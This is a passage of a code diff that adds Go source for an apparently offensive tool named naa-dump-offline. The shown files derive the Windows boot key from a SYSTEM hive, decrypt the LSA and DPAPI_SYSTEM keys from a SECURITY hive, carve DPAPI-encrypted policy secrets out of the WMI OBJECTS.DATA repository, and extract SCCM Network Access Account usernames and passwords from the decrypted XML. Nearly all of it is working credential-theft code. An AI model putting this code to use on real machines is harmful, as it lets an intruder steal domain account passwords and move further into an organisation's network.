| 235 | + var filesToTry []string | |
| 236 | + for _, e := range entries { | |
| 237 | + if !e.IsDir() { | |
| 238 | + filesToTry = append(filesToTry, filepath.Join(pathOrDir, e.Name())) | |
| 239 | + } | |
| 240 | + } | |
| 241 | + | |
| 242 | + for _, filePath := range filesToTry { | |
| 243 | + data, err := os.ReadFile(filePath) | |
| 244 | + if err != nil { | |
| 245 | + continue | |
| 246 | + } | |
| 247 | + | |
| 248 | + mkf, err := ParseMasterKeyFile(data) | |
| 249 | + if err != nil { | |
| 250 | + continue | |
| 251 | + } | |
| 252 | + | |
| 253 | + fileBase := NormalizeGUID(filepath.Base(filePath)) | |
| 254 | + if targetGUID != "" && mkf.Guid != targetGUID && fileBase != targetGUID { | |
| 255 | + continue | |
| 256 | + } | |
| 257 | + | |
| 258 | + decKey, keyType, err := mkf.DecryptWithSystemKeys(keys) | |
| 259 | + if err == nil { | |
| 260 | + return decKey, fmt.Sprintf("%s (%s)", filePath, keyType), nil | |
| 261 | + } | |
| 262 | + } | |
| 263 | + | |
| 264 | + return nil, "", fmt.Errorf("could not find or decrypt valid master key for GUID %s in %s", targetGUID, pathOrDir) | |
| 265 | +} |
pkg/registry/bootkey.go
| ... | ... | @@ -0,0 +1,95 @@ |
| 1 | +package registry | |
| 2 | + | |
| 3 | +import ( | |
| 4 | + "encoding/binary" | |
| 5 | + "encoding/hex" | |
| 6 | + "fmt" | |
| 7 | + "io" | |
| 8 | + "os" | |
| 9 | + "unicode/utf16" | |
| 10 | + | |
| 11 | + "www.velocidex.com/golang/regparser" | |
| 12 | +) | |
| 13 | + | |
| 14 | +var bootKeyPermutation = []int{8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7} | |
| 15 | + | |
| 16 | +func readClassString(r io.ReaderAt, key *regparser.CM_KEY_NODE) (string, error) { | |
| 17 | + offset := key.Class() | |
| 18 | + length := key.ClassLength() | |
| 19 | + if length == 0 { | |
| 20 | + return "", fmt.Errorf("empty class") | |
| 21 | + } | |
| 22 | + buf := make([]byte, length) | |
| 23 | + _, err := r.ReadAt(buf, int64(4096+offset+4)) | |
| 24 | + if err != nil { | |
| 25 | + return "", err | |
| 26 | + } | |
| 27 | + u16 := make([]uint16, length/2) | |
| 28 | + for i := 0; i < len(u16); i++ { | |
| 29 | + u16[i] = binary.LittleEndian.Uint16(buf[i*2 : (i+1)*2]) | |
| 30 | + } | |
| 31 | + return string(utf16.Decode(u16)), nil | |
| 32 | +} | |
| 33 | + | |
| 34 | +func GetBootKey(systemHivePath string) ([]byte, error) { | |
| 35 | + f, err := os.Open(systemHivePath) | |
| 36 | + if err != nil { | |
| 37 | + return nil, fmt.Errorf("failed to open SYSTEM hive: %w", err) | |
| 38 | + } | |
| 39 | + defer f.Close() | |
| 40 | + | |
| 41 | + reg, err := regparser.NewRegistry(f) | |
| 42 | + if err != nil { | |
| 43 | + return nil, fmt.Errorf("failed to parse SYSTEM hive: %w", err) | |
| 44 | + } | |
| 45 | + | |
| 46 | + selectKey := reg.OpenKey("Select") | |
| 47 | + if selectKey == nil { | |
| 48 | + return nil, fmt.Errorf("could not find Select key in SYSTEM hive") | |
| 49 | + } | |
| 50 | + | |
| 51 | + var currentControlSet string | |
| 52 | + for _, val := range selectKey.Values() { | |
| 53 | + if val.ValueName() == "Current" { | |
| 54 | + currentControlSet = fmt.Sprintf("ControlSet%03d", val.ValueData().Uint64) | |
| 55 | + break | |
| 56 | + } | |
| 57 | + } | |
| 58 | + if currentControlSet == "" { | |
| 59 | + currentControlSet = "ControlSet001" | |
| 60 | + } | |
| 61 | + | |
| 62 | + subkeys := []string{"JD", "Skew1", "GBG", "Data"} | |
| 63 | + var hexStr string | |
| 64 | + | |
| 65 | + for _, sub := range subkeys { | |
| 66 | + path := fmt.Sprintf("%s\\Control\\Lsa\\%s", currentControlSet, sub) | |
| 67 | + k := reg.OpenKey(path) | |
| 68 | + if k == nil { | |
| 69 | + return nil, fmt.Errorf("could not find key: %s", path) | |
| 70 | + } | |
| 71 | + s, err := readClassString(f, k) | |
| 72 | + if err != nil { | |
| 73 | + return nil, fmt.Errorf("failed to read class for %s: %w", path, err) | |
| 74 | + } | |
| 75 | + if len(s) > 8 { | |
| 76 | + s = s[:8] | |
| 77 | + } | |
| 78 | + hexStr += s | |
| 79 | + } | |
| 80 | + | |
| 81 | + rawBytes, err := hex.DecodeString(hexStr) | |
| 82 | + if err != nil { | |
| 83 | + return nil, fmt.Errorf("failed to decode bootkey hex: %w", err) | |
| 84 | + } | |
| 85 | + if len(rawBytes) != 16 { | |
| 86 | + return nil, fmt.Errorf("expected 16 scrambled bytes, got %d", len(rawBytes)) | |
| 87 | + } | |
| 88 | + | |
| 89 | + bootKey := make([]byte, len(rawBytes)) | |
| 90 | + for i := range bootKey { | |
| 91 | + bootKey[i] = rawBytes[bootKeyPermutation[i]] | |
| 92 | + } | |
| 93 | + | |
| 94 | + return bootKey, nil | |
| 95 | +} |
pkg/registry/lsa.go
| ... | ... | @@ -0,0 +1,137 @@ |
| 1 | +package registry | |
| 2 | + | |
| 3 | +import ( | |
| 4 | + "crypto/aes" | |
| 5 | + "crypto/cipher" | |
| 6 | + "crypto/sha256" | |
| 7 | + "encoding/binary" | |
| 8 | + "fmt" | |
| 9 | + "os" | |
| 10 | + | |
| 11 | + "www.velocidex.com/golang/regparser" | |
| 12 | +) | |
| 13 | + | |
| 14 | +type DPAPISystemKeys struct { | |
| 15 | + BootKey []byte | |
| 16 | + LSAKey []byte | |
| 17 | + MachineKey []byte | |
| 18 | + UserKey []byte | |
| 19 | +} | |
| 20 | + | |
| 21 | +func sha256Key(key, value []byte) []byte { | |
| 22 | + h := sha256.New() | |
| 23 | + h.Write(key) | |
| 24 | + for i := 0; i < 1000; i++ { | |
| 25 | + h.Write(value) | |
| 26 | + } | |
| 27 | + return h.Sum(nil) | |
| 28 | +} | |
| 29 | + | |
| 30 | +func decryptAES(key, ciphertext []byte) ([]byte, error) { | |
| 31 | + block, err := aes.NewCipher(key) | |
| 32 | + if err != nil { | |
| 33 | + return nil, err | |
| 34 | + } | |
| 35 | + iv := make([]byte, 16) | |
| 36 | + paddedLen := (len(ciphertext) + 15) / 16 * 16 | |
| 37 | + buf := make([]byte, paddedLen) | |
| 38 | + copy(buf, ciphertext) | |
| 39 | + | |
| 40 | + out := make([]byte, paddedLen) | |
| 41 | + for i := 0; i < len(buf); i += 16 { | |
| 42 | + mode := cipher.NewCBCDecrypter(block, iv) | |
| 43 | + mode.CryptBlocks(out[i:i+16], buf[i:i+16]) | |
| 44 | + } | |
| 45 | + return out, nil | |
| 46 | +} | |
| 47 | + | |
| 48 | +func ExtractDPAPISystemKeys(securityHivePath string, bootKey []byte) (*DPAPISystemKeys, error) { | |
| 49 | + f, err := os.Open(securityHivePath) | |
| 50 | + if err != nil { | |
| 51 | + return nil, fmt.Errorf("failed to open SECURITY hive: %w", err) | |
| 52 | + } | |
| 53 | + defer f.Close() | |
| 54 | + | |
| 55 | + reg, err := regparser.NewRegistry(f) | |
| 56 | + if err != nil { | |
| 57 | + return nil, fmt.Errorf("failed to parse SECURITY hive: %w", err) | |
| 58 | + } | |
| 59 | + | |
| 60 | + polEKKey := reg.OpenKey("Policy\\PolEKList") | |
| 61 | + if polEKKey == nil { | |
| 62 | + return nil, fmt.Errorf("could not find Policy\\PolEKList key in SECURITY hive") | |
| 63 | + } | |
| 64 | + | |
| 65 | + var polEKVal []byte | |
| 66 | + for _, v := range polEKKey.Values() { | |
| 67 | + if v.ValueName() == "" || v.ValueName() == "default" { | |
| 68 | + polEKVal = v.ValueData().Data | |
| 69 | + break | |
| 70 | + } | |
| 71 | + } | |
| 72 | + if len(polEKVal) < 60 { | |
| 73 | + return nil, fmt.Errorf("Policy\\PolEKList value is too short (%d bytes)", len(polEKVal)) | |
| 74 | + } | |
| 75 | + | |
| 76 | + salt := polEKVal[28 : 28+32] | |
| 77 | + ciphertext := polEKVal[28+32:] | |
| 78 | + | |
| 79 | + tmpKey := sha256Key(bootKey, salt) | |
| 80 | + plainText, err := decryptAES(tmpKey, ciphertext) | |
| 81 | + if err != nil { | |
| 82 | + return nil, fmt.Errorf("failed to decrypt PolEKList: %w", err) | |
| 83 | + } | |
| 84 | + | |
| 85 | + if len(plainText) < 100 { | |
| 86 | + return nil, fmt.Errorf("decrypted PolEKList plainText too short (%d bytes)", len(plainText)) | |
| 87 | + } | |
| 88 | + lsaKey := make([]byte, 32) | |
| 89 | + copy(lsaKey, plainText[68:100]) | |
| 90 | + | |
| 91 | + dpapiValKey := reg.OpenKey("Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal") | |
| 92 | + if dpapiValKey == nil { | |
| 93 | + return nil, fmt.Errorf("could not find Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal key in SECURITY hive") | |
| 94 | + } | |
| 95 | + | |
| 96 | + var dpapiVal []byte | |
| 97 | + for _, v := range dpapiValKey.Values() { | |
| 98 | + if v.ValueName() == "" || v.ValueName() == "default" { | |
| 99 | + dpapiVal = v.ValueData().Data | |
| 100 | + break | |
| 101 | + } | |
| 102 | + } | |
| 103 | + if len(dpapiVal) < 60 { | |
| 104 | + return nil, fmt.Errorf("DPAPI_SYSTEM CurrVal is too short (%d bytes)", len(dpapiVal)) | |
| 105 | + } | |
| 106 | + | |
| 107 | + dpapiSalt := dpapiVal[28 : 28+32] | |
| 108 | + dpapiCipher := dpapiVal[28+32:] | |
| 109 | + | |
| 110 | + dpapiTmpKey := sha256Key(lsaKey, dpapiSalt) | |
| 111 | + dpapiPlain, err := decryptAES(dpapiTmpKey, dpapiCipher) | |
| 112 | + if err != nil { | |
| 113 | + return nil, fmt.Errorf("failed to decrypt DPAPI_SYSTEM secret: %w", err) | |
| 114 | + } | |
| 115 | + | |
| 116 | + if len(dpapiPlain) < 16 { | |
| 117 | + return nil, fmt.Errorf("decrypted DPAPI_SYSTEM plainText too short (%d bytes)", len(dpapiPlain)) | |
| 118 | + } | |
| 119 | + | |
| 120 | + secretLen := binary.LittleEndian.Uint32(dpapiPlain[:4]) | |
| 121 | + if int(16+secretLen) > len(dpapiPlain) || secretLen < 44 { | |
| 122 | + return nil, fmt.Errorf("invalid secret length in DPAPI_SYSTEM: %d", secretLen) | |
| 123 | + } | |
| 124 | + | |
| 125 | + dpapiSecret := dpapiPlain[16 : 16+secretLen] | |
| 126 | + machineKey := make([]byte, 20) | |
| 127 | + userKey := make([]byte, 20) | |
| 128 | + copy(machineKey, dpapiSecret[4:24]) | |
| 129 | + copy(userKey, dpapiSecret[24:44]) | |
| 130 | + | |
| 131 | + return &DPAPISystemKeys{ | |
| 132 | + BootKey: bootKey, | |
| 133 | + LSAKey: lsaKey, | |
| 134 | + MachineKey: machineKey, | |
| 135 | + UserKey: userKey, | |
| 136 | + }, nil | |
| 137 | +} |
pkg/wmi/carver.go
| ... | ... | @@ -0,0 +1,164 @@ |
| 1 | +package wmi | |
| 2 | + | |
| 3 | +import ( | |
| 4 | + "bytes" | |
| 5 | + "encoding/hex" | |
| 6 | + "fmt" | |
| 7 | + "os" | |
| 8 | + "regexp" | |
| 9 | + "sort" | |
| 10 | + "strings" | |
| 11 | + | |
| 12 | + "github.com/shehzade/naa-dump-offline/pkg/dpapi" | |
| 13 | +) | |
| 14 | + | |
| 15 | +type CarverResult struct { | |
| 16 | + TotalBlobs int | |
| 17 | + UniqueBlobs []*CarvedSecret | |
| 18 | + RequiredGUIDs []string | |
| 19 | + GUIDCounts map[string]int | |
| 20 | +} | |
| 21 | + | |
| 22 | +var ( | |
| 23 | + policySecretRe = regexp.MustCompile(`(?s)<PolicySecret[^>]*><!\[CDATA\[([0-9A-Fa-f]{100,})\]\]></PolicySecret>`) | |
| 24 | +) | |
| 25 | + | |
| 26 | +func ScanObjectsData(objectsDataPath string) (*CarverResult, error) { | |
| 27 | + data, err := os.ReadFile(objectsDataPath) | |
| 28 | + if err != nil { | |
| 29 | + return nil, fmt.Errorf("failed to read OBJECTS.DATA: %w", err) | |
| 30 | + } | |
| 31 | + | |
| 32 | + result := &CarverResult{ | |
| 33 | + GUIDCounts: make(map[string]int), | |
| 34 | + } | |
| 35 | + | |
| 36 | + seenHex := make(map[string]*CarvedSecret) | |
| 37 | + | |
| 38 | + matches := policySecretRe.FindAllSubmatchIndex(data, -1) | |
| 39 | + result.TotalBlobs = len(matches) | |
| 40 | + | |
| 41 | + for i, loc := range matches { | |
| 42 | + matchStart := loc[0] | |
| 43 | + matchEnd := loc[1] | |
| 44 | + subStart := loc[2] | |
| 45 | + subEnd := loc[3] | |
| 46 | + | |
| 47 | + hexPayload := string(data[subStart:subEnd]) | |
| 48 | + | |
| 49 | + ctxStart := matchStart - 200 | |
| 50 | + if ctxStart < 0 { | |
| 51 | + ctxStart = 0 | |
| 52 | + } | |
| 53 | + prefixChunk := string(data[ctxStart:matchStart]) | |
| 54 | + context := "PolicySecret" | |
| 55 | + if strings.Contains(prefixChunk, "CCM_NetworkAccessAccount") { | |
| 56 | + context = "CCM_NetworkAccessAccount" | |
| 57 | + } else if strings.Contains(prefixChunk, "CCM_Policy_Action") { | |
| 58 | + context = "CCM_Policy_Action" | |
| 59 | + } else if strings.Contains(prefixChunk, "CCM_Policy_Policy5") { | |
| 60 | + context = "CCM_Policy_Policy5" | |
| 61 | + } | |
| 62 | + | |
| 63 | + rawBytes, err := hex.DecodeString(hexPayload) | |
| 64 | + if err != nil || len(rawBytes) < 44 { | |
| 65 | + continue | |
| 66 | + } | |
| 67 | + | |
| 68 | + blobBytes := rawBytes | |
| 69 | + if len(rawBytes) > 4 { | |
| 70 | + blobBytes = rawBytes[4:] | |
| 71 | + } | |
| 72 | + | |
| 73 | + blob, err := dpapi.ParseDPAPIBlob(blobBytes) | |
| 74 | + if err != nil { | |
| 75 | + blob, err = dpapi.ParseDPAPIBlob(rawBytes) | |
| 76 | + if err != nil { | |
| 77 | + continue | |
| 78 | + } | |
| 79 | + } | |
| 80 | + | |
| 81 | + guid := blob.GuidMasterKey | |
| 82 | + if guid != "" { | |
| 83 | + result.GUIDCounts[guid]++ | |
| 84 | + } | |
| 85 | + | |
| 86 | + if existing, ok := seenHex[hexPayload]; ok { | |
| 87 | + if existing.Context == "PolicySecret" && context != "PolicySecret" { | |
| 88 | + existing.Context = context | |
| 89 | + } | |
| 90 | + continue | |
| 91 | + } | |
| 92 | + | |
| 93 | + secret := &CarvedSecret{ | |
| 94 | + Index: i + 1, | |
| 95 | + Offset: int64(matchStart), | |
| 96 | + MasterKeyGUID: guid, | |
| 97 | + Context: context, | |
| 98 | + RawHex: hexPayload, | |
| 99 | + } | |
| 100 | + | |
| 101 | + seenHex[hexPayload] = secret | |
| 102 | + result.UniqueBlobs = append(result.UniqueBlobs, secret) | |
| 103 | + _ = matchEnd | |
| 104 | + } | |
| 105 | + | |
| 106 | + naaIdx := 0 | |
| 107 | + for { | |
| 108 | + idx := bytes.Index(data[naaIdx:], []byte("CCM_NetworkAccessAccount")) | |
| 109 | + if idx == -1 { | |
| 110 | + break | |
| 111 | + } | |
| 112 | + actualIdx := naaIdx + idx | |
| 113 | + windowEnd := actualIdx + 2000 | |
| 114 | + if windowEnd > len(data) { | |
| 115 | + windowEnd = len(data) | |
| 116 | + } | |
| 117 | + window := data[actualIdx:windowEnd] | |
| 118 | + | |
| 119 | + subMatches := cdataRegex.FindAllSubmatchIndex(window, -1) | |
| 120 | + for _, sm := range subMatches { | |
| 121 | + h := string(window[sm[2]:sm[3]]) | |
| 122 | + if _, ok := seenHex[h]; !ok { | |
| 123 | + rawBytes, err := hex.DecodeString(h) | |
| 124 | + if err != nil || len(rawBytes) < 44 { | |
| 125 | + continue | |
| 126 | + } | |
| 127 | + blobBytes := rawBytes | |
| 128 | + if len(rawBytes) > 4 { | |
| 129 | + blobBytes = rawBytes[4:] | |
| 130 | + } | |
| 131 | + blob, err := dpapi.ParseDPAPIBlob(blobBytes) | |
| 132 | + if err != nil { | |
| 133 | + blob, err = dpapi.ParseDPAPIBlob(rawBytes) | |
| 134 | + if err != nil { | |
| 135 | + continue | |
| 136 | + } | |
| 137 | + } | |
| 138 | + guid := blob.GuidMasterKey | |
| 139 | + if guid != "" { | |
| 140 | + result.GUIDCounts[guid]++ | |
| 141 | + } | |
| 142 | + secret := &CarvedSecret{ | |
| 143 | + Index: len(result.UniqueBlobs) + 1, | |
| 144 | + Offset: int64(actualIdx + sm[0]), | |
| 145 | + MasterKeyGUID: guid, | |
| 146 | + Context: "CCM_NetworkAccessAccount", | |
| 147 | + RawHex: h, | |
| 148 | + } | |
| 149 | + seenHex[h] = secret | |
| 150 | + result.UniqueBlobs = append(result.UniqueBlobs, secret) | |
| 151 | + result.TotalBlobs++ | |
| 152 | + } | |
| 153 | + } | |
| 154 | + | |
| 155 | + naaIdx = actualIdx + len("CCM_NetworkAccessAccount") | |
| 156 | + } | |
| 157 | + | |
| 158 | + for guid := range result.GUIDCounts { | |
| 159 | + result.RequiredGUIDs = append(result.RequiredGUIDs, guid) | |
| 160 | + } | |
| 161 | + sort.Strings(result.RequiredGUIDs) | |
| 162 | + | |
| 163 | + return result, nil | |
| 164 | +} |
pkg/wmi/policy.go
| ... | ... | @@ -0,0 +1,162 @@ |
| 1 | +package wmi | |
| 2 | + | |
| 3 | +import ( | |
| 4 | + "bytes" | |
| 5 | + "compress/zlib" | |
| 6 | + "encoding/hex" | |
| 7 | + "fmt" | |
| 8 | + "io" | |
| 9 | + "regexp" | |
| 10 | + "strings" | |
| 11 | + | |
| 12 | + "github.com/shehzade/naa-dump-offline/pkg/dpapi" | |
| 13 | +) | |
| 14 | + | |
| 15 | +type NAACredential struct { | |
| 16 | + Username string `json:"username"` | |
| 17 | + Password string `json:"password"` | |
| 18 | + Source string `json:"source,omitempty"` | |
| 19 | +} | |
| 20 | + | |
| 21 | +type CarvedSecret struct { | |
| 22 | + Index int `json:"index"` | |
| 23 | + Offset int64 `json:"offset"` | |
| 24 | + MasterKeyGUID string `json:"masterkey_guid"` | |
| 25 | + Context string `json:"context"` | |
| 26 | + RawHex string `json:"-"` | |
| 27 | + DecryptedBytes []byte `json:"-"` | |
| 28 | + DecryptedText string `json:"decrypted_text,omitempty"` | |
| 29 | + IsEmpty bool `json:"is_empty"` | |
| 30 | +} | |
| 31 | + | |
| 32 | +var ( | |
| 33 | + cdataRegex = regexp.MustCompile(`<!\[CDATA\[([0-9A-Fa-f]{100,})\]\]>`) | |
| 34 | + xmlHexRe = regexp.MustCompile(`<!\[CDATA\[([0-9A-Fa-f]+)\]\]>`) | |
| 35 | +) | |
| 36 | + | |
| 37 | +func DecompressZlib(hexPayload string) ([]byte, error) { | |
| 38 | + data, err := hex.DecodeString(strings.TrimSpace(hexPayload)) | |
| 39 | + if err != nil { | |
| 40 | + return nil, err | |
| 41 | + } | |
| 42 | + r, err := zlib.NewReader(bytes.NewReader(data)) | |
| 43 | + if err != nil { | |
| 44 | + return nil, err | |
| 45 | + } | |
| 46 | + defer r.Close() | |
| 47 | + return io.ReadAll(r) | |
| 48 | +} | |
| 49 | + | |
| 50 | +func ParseDecryptedPayload(data []byte) (string, bool) { | |
| 51 | + if len(data) == 0 || (len(data) <= 2 && bytes.Equal(data, []byte{0, 0})) { | |
| 52 | + return "", true | |
| 53 | + } | |
| 54 | + | |
| 55 | + text := dpapi.DecodeUTF16LE(data) | |
| 56 | + if text == "" { | |
| 57 | + text = strings.TrimRight(string(data), "\x00") | |
| 58 | + } | |
| 59 | + | |
| 60 | + return text, false | |
| 61 | +} | |
| 62 | + | |
| 63 | +func ExtractCredentialsFromSecrets(secrets []*CarvedSecret) []NAACredential { | |
| 64 | + credentials := []NAACredential{} | |
| 65 | + seen := make(map[string]bool) | |
| 66 | + | |
| 67 | + var potentialUsers []string | |
| 68 | + var potentialPasswords []string | |
| 69 | + | |
| 70 | + for _, s := range secrets { | |
| 71 | + if s.IsEmpty || s.DecryptedText == "" { | |
| 72 | + continue | |
| 73 | + } | |
| 74 | + | |
| 75 | + if strings.Contains(s.DecryptedText, "CCM_NetworkAccessAccount") { | |
| 76 | + extractFromXML(s.DecryptedText, &credentials, seen) | |
| 77 | + } | |
| 78 | + | |
| 79 | + if strings.Contains(s.DecryptedText, `Compression="zlib"`) { | |
| 80 | + matches := xmlHexRe.FindAllStringSubmatch(s.DecryptedText, -1) | |
| 81 | + for _, m := range matches { | |
| 82 | + decomp, err := DecompressZlib(m[1]) | |
| 83 | + if err == nil { | |
| 84 | + decompText := dpapi.DecodeUTF16LE(decomp) | |
| 85 | + if decompText == "" { | |
| 86 | + decompText = string(decomp) | |
| 87 | + } | |
| 88 | + extractFromXML(decompText, &credentials, seen) | |
| 89 | + } | |
| 90 | + } | |
| 91 | + } | |
| 92 | + | |
| 93 | + text := strings.TrimSpace(s.DecryptedText) | |
| 94 | + if !strings.HasPrefix(text, "<") && !strings.Contains(text, "\n") { | |
| 95 | + if strings.Contains(text, "\\") || strings.Contains(text, "@") { | |
| 96 | + potentialUsers = append(potentialUsers, text) | |
| 97 | + } else if len(text) > 0 && len(text) < 128 { | |
| 98 | + potentialPasswords = append(potentialPasswords, text) | |
| 99 | + } | |
| 100 | + } | |
| 101 | + } | |
| 102 | + | |
| 103 | + for _, u := range potentialUsers { | |
| 104 | + for _, p := range potentialPasswords { | |
| 105 | + key := fmt.Sprintf("%s:%s", u, p) | |
| 106 | + if !seen[key] { | |
| 107 | + seen[key] = true | |
| 108 | + credentials = append(credentials, NAACredential{ | |
| 109 | + Username: u, | |
| 110 | + Password: p, | |
| 111 | + Source: "OBJECTS.DATA", | |
| 112 | + }) | |
| 113 | + } | |
| 114 | + } | |
| 115 | + } | |
| 116 | + | |
| 117 | + return credentials | |
| 118 | +} | |
| 119 | + | |
| 120 | +func isLikelyHexCiphertext(s string) bool { | |
| 121 | + if len(s) < 32 { | |
| 122 | + return false | |
| 123 | + } | |
| 124 | + for _, c := range s { | |
| 125 | + if !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')) { | |
| 126 | + return false | |
| 127 | + } | |
| 128 | + } | |
| 129 | + return true | |
| 130 | +} | |
| 131 | + | |
| 132 | +func extractFromXML(xmlContent string, creds *[]NAACredential, seen map[string]bool) { | |
| 133 | + userRe := regexp.MustCompile(`name="NetworkAccessUsername"[^>]*>[\s\r\n]*<value>[\s\r\n]*<!\[CDATA\[([^\]]+)\]\]>`) | |
| 134 | + passRe := regexp.MustCompile(`name="NetworkAccessPassword"[^>]*>[\s\r\n]*<value>[\s\r\n]*<!\[CDATA\[([^\]]+)\]\]>`) | |
| 135 | + | |
| 136 | + userMatches := userRe.FindAllStringSubmatch(xmlContent, -1) | |
| 137 | + passMatches := passRe.FindAllStringSubmatch(xmlContent, -1) | |
| 138 | + | |
| 139 | + minLen := len(userMatches) | |
| 140 | + if len(passMatches) < minLen { | |
| 141 | + minLen = len(passMatches) | |
| 142 | + } | |
| 143 | + | |
| 144 | + for i := 0; i < minLen; i++ { | |
| 145 | + u := strings.TrimSpace(userMatches[i][1]) | |
| 146 | + p := strings.TrimSpace(passMatches[i][1]) | |
| 147 | + | |
| 148 | + if isLikelyHexCiphertext(u) || isLikelyHexCiphertext(p) { | |
| 149 | + continue | |
| 150 | + } | |
| 151 | + | |
| 152 | + key := fmt.Sprintf("%s:%s", u, p) | |
| 153 | + if !seen[key] && (u != "" || p != "") { | |
| 154 | + seen[key] = true | |
| 155 | + *creds = append(*creds, NAACredential{ | |
| 156 | + Username: u, | |
| 157 | + Password: p, | |
| 158 | + Source: "Policy XML", | |
| 159 | + }) | |
| 160 | + } | |
| 161 | + } | |
| 162 | +} |